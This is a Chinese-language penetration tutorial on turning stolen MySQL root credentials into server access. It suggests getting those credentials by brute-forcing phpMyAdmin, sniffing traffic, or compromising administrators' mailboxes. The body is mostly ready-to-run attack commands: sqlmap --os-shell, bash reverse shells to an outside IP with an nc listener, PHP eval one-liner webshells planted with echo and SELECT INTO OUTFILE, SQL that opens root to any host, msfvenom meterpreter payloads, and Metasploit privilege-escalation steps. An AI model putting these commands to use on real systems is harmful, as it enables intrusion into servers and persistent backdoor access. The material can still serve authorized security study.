使用sqlmap直连数据库获取webshell

admin 2023年2月16日23:28:43评论210 views字数 2843阅读9分28秒阅读模式

在有些场景下,需要通过mysql直接连接来获取权限,例如通过暴力破解、嗅探等方法获取了账号及口令,服务器有可能未开放web服务。

1.1.1适用场景

1.获取了Mysql数据库root账号以及密码。

2.可以访问3306端口以及数据库。

1.1.2扫描获取root账号的密码

通常有下面一些方法来获取root账号的密码

1phpMyAdmin多线程批量破解工具,下载地址:http://www.test404.com/post-546.html

http://pan.baidu.com/s/1c1LD6co,通过收集phpmyadmin地址进行暴力破解。

2)代码泄露获取数据库账号和密码

3)文件包含读取配置文件中的数据库账号和密码

4)通过网络嗅探获取

5)渗透运维人员的邮箱及个人主机获取

1.1.3获取shell

1.通过sqlmap连接mysql获取shell

1)直接连接数据库

sqlmap.py -d "mysql://root:[email protected]:3306/mysql" --os-shell

2)通过选择32位或者64位操作系统,获取webshell,执行

bash -i >& /dev/tcp/192.168.1.3/8080 0>&1

3)反弹到服务器192.168.1.3,在实际中192.168.1.3为外网独立IP

4)通过echo命令生成shell

echo "<?php @eval($_POST['chopper']);?>" >/data/www/phpmyadmin/1.php

如果能够通过phpmyadmin管理数据库,则可以修改host为“%”并执行权限更新,下面命令可参考:

use mysql;

update user set host = '%' where user = 'root';

FLUSH PRIVILEGES ;

注意:如果数据库中有多个host连接,修改时可能会导致数据库连接出问题。

2.通过msf反弹

1)使用msfvenom生成msf反弹的php脚本木马,默认端口为4444

msfvenom-p  php/meterpreter/reverse_tcp LHOST=192.168.1.3 -f raw > test.php

2)在独立IP或者反弹服务器上运行msf依次执行以下命令:

msfconsole

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set LHOST 192.168.1.3 //192.168.1.3为反弹监听服务器IP

show options

run 0 或者exploit

3)上传并执行php文件

test.php上传到192.168.1.2服务器上面,访问后即可获取msf反弹shell

http:// 192.168.1.2:8080/test.php

3.通过phpmyadmin管理界面查询生成webshll

select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

1.1.4一个实例

1.直接连接mysql数据库

执行命令:sqlmap.py -d "mysql://root:123456@2**.****.**.**:3306/mysql" --os-shell

如图1所示,需要设置后端数据库的架构,服务器多为64位,可以先选择64位即输入数字2进行测试,如果不是,可以退出后再次运行并选择。

使用sqlmap直连数据库获取webshell

1选择服务器数据库所在架构

2.上次udf文件

选择系统架构后,sqlmap会自动上传udf文件到服务器提权位置,如图2所示,会显示一些信息。Sqlmap不管获取的shell是否成功都显示os-shell提示符。

使用sqlmap直连数据库获取webshell

2获取os-shell

3.执行命令

针对相应的系统执行一些命令来验证是否真正获取shell,如图3所示,执行cat  /etc/passwd命令来查看passwd文件内容,在本例中成功获取shell

使用sqlmap直连数据库获取webshell

3执行命令

4.获取反弹shell

虽然通过sqlmap获取了shell,但shell中操作不方便,可以在具备独立IP的服务器上执行:

nc –vv –l –p 8080

sqlmapshell段执行:

bash -i >& /dev/tcp/24.11.123.222/8080 0>&1

说明:

124.11.123.222为独立IP

2)需要在24.11.123.222上执行上面的nc监听命令

324.11.123.222服务器需要对8080端口放行,或者在防火墙中开放8080端口,如图4所示,成功反弹shell

使用sqlmap直连数据库获取webshell

4成功反弹shell

5.在服务器上生成webshell

在反弹的shell中通过执行locate *.php命令来定位服务器网页的真实路径,然后到该路径下,通过echo命令生成webshell,如图5所示,直接通过echo命令生成webshell一句话后门。

使用sqlmap直连数据库获取webshell

5生成webshell一句话后门文件

6.获取webshell

使用中国菜刀一句话后面管理器创建记录并连接,如图6所示,成功获取webshell

使用sqlmap直连数据库获取webshell

6获取webshell

7.通过phpmyadmin生成一句话

如图7所示,通过phpmyadmin登录后台后,在sql查询中执行命令:

select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE '/data/www/phpmyadmin/eval.php'

注意:通过phpmyadmin生成一句话需要知道网站的真实路径。可以通过查看数据库表以及phpinfo,登录后台,出错等来获取真实路径地址。

使用sqlmap直连数据库获取webshell

7通过phpmyadmin获取webshell

8.通过msf反弹获取shell

本意是通过msfvenom命令生成msf反弹网页木马,通过msf获取shell,并进行提权,如图8所示,执行后,成功获取shell但真正能够通过msf进行提权成功的很少。

使用sqlmap直连数据库获取webshell

8msf反弹获取shell

9.msf提权参考

1msf提权参考

通过msf反弹shell,执行backgroundsession放在后台运行,然后搜索可以利用的exploit来进行测试。下面是一些可以供参考的命令:

background

search “关键字” //seach ssh seach “/exploit/linux/local”

use exploit/linux……

show options

set session 1

exploit

sessions -i 1

getuid

msf平台上面执行search后,查找的结果中选择时间较新和excellent的成功提权的几率比较大,在提权前,最好更新msf到最新版本,另外一个搜索exploit的命令为:

searchsploit linux local 2.6.32 //执行效果如图9所示。

使用sqlmap直连数据库获取webshell

9搜索exploit


原文始发于微信公众号(小兵搞安全):使用sqlmap直连数据库获取webshell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月16日23:28:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用sqlmap直连数据库获取webshellhttp://cn-sec.com/archives/1276489.html

发表评论

匿名网友 填写信息